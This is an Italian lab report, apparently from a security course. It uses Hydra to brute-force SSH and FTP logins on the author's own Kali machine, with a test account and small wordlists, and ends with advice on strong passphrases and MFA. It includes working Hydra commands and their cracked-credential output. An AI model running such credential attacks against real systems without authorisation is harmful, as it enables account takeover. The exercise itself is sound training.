

AUTENTICATION CRACKING CON HYDRA

1. OBIETTIVO

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP

Con lo scopo di fare pratica con questo strumento di authentication cracking e consolidare le conoscenze tramite la sua configurazione.

2. PROCEDURA: configurazione e cracking SSH

2.1 PRIMA FASE

Questa parte dell'esercizio richiede l'attivazione del servizio SSH e la sua configurazione per poi craccare l'autenticazione tramite Hydra.

1. Per iniziare l'esercizio è richiesto di aggiungere un utente con corrispettiva password all'interno della macchina Kali tramite comando `adduser` su linea di comando.

```
(kali㉿kali)-[~]  
$ sudo adduser test_user  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
Full Name []:  
Room Number []:  
Work Phone []:  
Home Phone []:  
Other []:  
Is the information correct? [Y/n] y
```

UTENTE: test_user

PASSWORD: testpass

Completare solo l'input password e lasciare vuoti gli altri campi.

2. È necessario per il completamento dell'esercizio attivare il protocollo ssh, che permette il collegamento crittografato e sicuro in remoto tra un client e un server. Si attiva sempre da linea di comando. Si può accedere al file di configurazione tramite comando:

```
(kali㉿kali)-[~]  
$ sudo service ssh start
```

nano /etc/ssh/sshd_config dal quale si può: cambiare porta e IP, definire le regole crittografiche e le chiavi accettate, impostare il sistema di logging e determinare il metodo di autenticazione degli utenti. Per questo laboratorio si possono lasciare i campi invariati.

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.1.181
The authenticity of host '192.168.1.181 (192.168.1.181)' can't be established.
ED25519 key fingerprint is: SHA256:7OYysGTis/X8eKllNd8jQq6ADgiZ43uqsYJavJ9ekvs
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.1.181' (ED25519) to the list of known hosts.
test_user@192.168.1.181's password:
Linux kali 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

3. Testare la connessione in ssh tramite comando `ssh test_user@IP_MACCHINA`

E fare exit per uscire dalla sessione ssh.

5. Scaricare una wordlist di username e password tramite comando:

`sudo apt install seclists`

6. L'utilizzo delle seclists complete richiederebbe dei giorni, quindi sono state create due liste:

- lista_password: Che contiene testpass e 19 password prese dal file 10k-most-common.txt
- lista_users: Contiene test_user e 19 username presi dal file xato-net-10-million-usernames.txt nella cartella seclists.

7. Seguendo la configurazione di Hydra consigliata dalla slide il comando restituisce errore,

```
(kali㉿kali)-[~]
$ hydra -L lista_users -P lista_password 192.168.1.181 -t 2 ssh

Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 06:38:03
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting
[DATA] max 2 tasks per 1 server, overall 2 tasks, 210 login tries (l:10/p:21), ~105 t
[DATA] attacking ssh://192.168.1.181:22/
[STATUS] 38.00 tries/min, 38 tries in 00:01h, 172 to do in 00:05h, 2 active
[STATUS] 39.00 tries/min, 117 tries in 00:03h, 93 to do in 00:03h, 2 active
[STATUS] 38.75 tries/min, 155 tries in 00:04h, 55 to do in 00:02h, 2 active
[STATUS] 38.20 tries/min, 191 tries in 00:05h, 19 to do in 00:01h, 2 active
[22][ssh] host: 192.168.1.181 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 06:43:28
```

perchè ha una tolleranza minore di 3 tentativi di connessione alla volta infatti cambiando il parametro a 1 o 2 il tool riesce a trovare utente e password.

```
(kali@kali)-[~]
$ hydra -L lista_users -P lista_password 192.168.1.181 -t 2 ssh

Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 07:29:05
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)
[DATA] max 2 tasks per 1 server, overall 2 tasks, 420 login tries (l:20/p:21), ~210 tr
[DATA] attacking ssh://192.168.1.181:22/
[STATUS] 34.00 tries/min, 34 tries in 00:01h, 386 to do in 00:12h, 2 active
[STATUS] 37.67 tries/min, 113 tries in 00:03h, 307 to do in 00:09h, 2 active
[STATUS] 38.29 tries/min, 268 tries in 00:07h, 152 to do in 00:04h, 2 active
[22][ssh] host: 192.168.1.181 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 07:40:06
```

2.2 SECONDA FASE: configurazione e cracking FTP

Per questa seconda fase è richiesto di scegliere un servizio da configurare e craccare. L'autenticazione tramite Hydra:

1. Se si sceglie FTP installare il servizio tramite comando: `sudo apt install vsftpd`.

2. Avviare il servizio FTP:

```
(kali@kali)-[~]
$ sudo service vsftpd start
```

3. Attivare il cracking tramite hydra con il comando scritto sulla slide ha funzionato, poiché il servizio non presenta Rate Limiting.

```
(kali@kali)-[~]
$ hydra -L lista_users -P lista_password 192.168.1.181 -t 4 ftp

Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret ser

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 08:52:45
[DATA] max 4 tasks per 1 server, overall 4 tasks, 420 login tries (l:20/p:21), ~105 tries per task
[DATA] attacking ftp://192.168.1.181:21/
[STATUS] 73.00 tries/min, 73 tries in 00:01h, 347 to do in 00:05h, 4 active
[STATUS] 71.67 tries/min, 215 tries in 00:03h, 205 to do in 00:03h, 4 active
[21][ftp] host: 192.168.1.181 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 08:58:29
```

4. CONCLUSIONE

L'attività di laboratorio ha permesso di provare attivamente uno strumento di cracking basato sui dizionari, ossia una collezione di password e utenti rubate da persone reali.

Hydra è uno degli strumenti più utilizzati in ambito cybersecurity per quanto riguarda il cracking online per la sua velocità e per la sua versatilità, infatti supporta diversi protocolli. In questo esperimento lo strumento è stato testato sui protocolli FTP e SSH. L'FTP è un protocollo ad oggi considerato poco sicuro e sconsigliato, mentre SSH gode della crittografia e supporta l'autenticazione tramite certificati, ma Hydra è riuscito a craccare l'autenticazione di entrambi i

servizi dimostrando l'importanza di scegliere una buona password.

È raccomandato per gli utenti:

- Scegliere password lunghe e complesse, perché richiedono enorme potenza di calcolo e di tempo rendendo impossibile la violazione delle credenziali. Il NIST consiglia l'uso di Passphrase lunghe, che sono facili da ricordare e difficili da scoprire.
- Attivare l'autenticazione a due fattori (MFA/2MFA), che limita i danni in caso di furto di credenziali.